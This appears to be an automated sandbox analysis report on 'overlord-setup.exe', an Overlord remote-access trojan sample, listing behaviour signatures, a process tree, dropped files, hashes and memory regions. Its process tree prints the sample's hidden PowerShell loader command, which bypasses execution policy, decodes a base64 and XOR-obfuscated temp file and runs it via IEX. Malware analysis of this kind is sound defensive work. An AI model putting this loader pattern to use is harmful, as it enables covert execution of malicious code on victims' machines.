Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/07/2026, 23:46

General

  • Target
    overlord-setup.exe
  • Size 4.1MB
  • Sample260719-3sshssgx8p
  • SHA256 416ddba66463daaf40101de6c9f6ee030f7895d544348c33ea315f48d69b9f82
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • overlord

C2
  • wss://localhost:5173

Signatures

  • Family: Overlord

    Overlord is an open-source Windows RAT written in Golang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\overlord-setup.exe
    "C:\Users\Admin\AppData\Local\Temp\overlord-setup.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4204
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_t4204\r.bat"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5016
      • C:\Windows\system32\timeout.exe
        timeout /t 3 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:4620
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowSt Hidden -NoP -ExecutionPolicy Bypass -Command "$gtin=-join([IO.File]::ReadAllLines($env:TEMP+'\pcrcmbd.log'));Remove-Item($env:TEMP+'\pcrcmbd.log') -Force -EA 0;$wfe=[Convert]::FromBase64String($gtin);for($af=0;$af -lt $wfe.Length;$af++){$wfe[$af]=$wfe[$af]-bxor 223};$xhbtj=[Text.Encoding]::UTF8.GetString($wfe);IEX $xhbtj"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5012
        • C:\Users\Admin\AppData\Local\Temp\ecfghiisik.exe
          "C:\Users\Admin\AppData\Local\Temp\ecfghiisik.exe"
          4⤵
          • Executes dropped EXE
          PID:5116

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        r.bat

        • Path C:\Users\Admin\AppData\Local\Temp\_t4204\r.bat
        • Size 6.1MB
        • SHA256 5045a913aacd52d43fd0ed1a0713b7d8ad68a83adc03c1599eacb1146f1b0348
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ecfghiisik.exe

        • Path C:\Users\Admin\AppData\Local\Temp\ecfghiisik.exe
        • Size 8.5MB
        • SHA256 25eb40e07aa06c10dfbd72e7812d68eb0b1644809ad2d6182937c7811a2a5d05
        • MD5 SHA1 SHA512 SSDEEP TLSH

        pcrcmbd.log

        • Path C:\Users\Admin\AppData\Local\Temp\pcrcmbd.log
        • Size 6.1MB
        • SHA256 166005c2e8deae566cb2fc0ef449bf50e96e7fb402aa5be2d536f5f7791fcbcb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        pcrcmbd.log

        • Path C:\Users\Admin\AppData\Local\Temp\pcrcmbd.log
        • Size 118KB
        • SHA256 d41fb9680daa4a9edabc031c5795b07ade2e782012844d9dae51e15d2ba791fe
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/4204-1581-0x00007FF75ACC0000-0x00007FF75B2F3000-memory.dmp

        memory/4204-1552-0x00007FF75ACC0000-0x00007FF75B2F3000-memory.dmp

        memory/4204-0-0x00007FF75ACC0000-0x00007FF75B2F3000-memory.dmp

        memory/5012-1551-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1558-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1544-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1540-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1545-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1542-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1546-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1547-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1548-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1549-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1550-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1539-0x000001E489700000-0x000001E489722000-memory.dmp

        memory/5012-1538-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1555-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1557-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1541-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1559-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1560-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1561-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1562-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1563-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1564-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1565-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1566-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1567-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1568-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1569-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1535-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1580-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/5012-1534-0x00007FF8B90BF000-0x00007FF8B90C0000-memory.dmp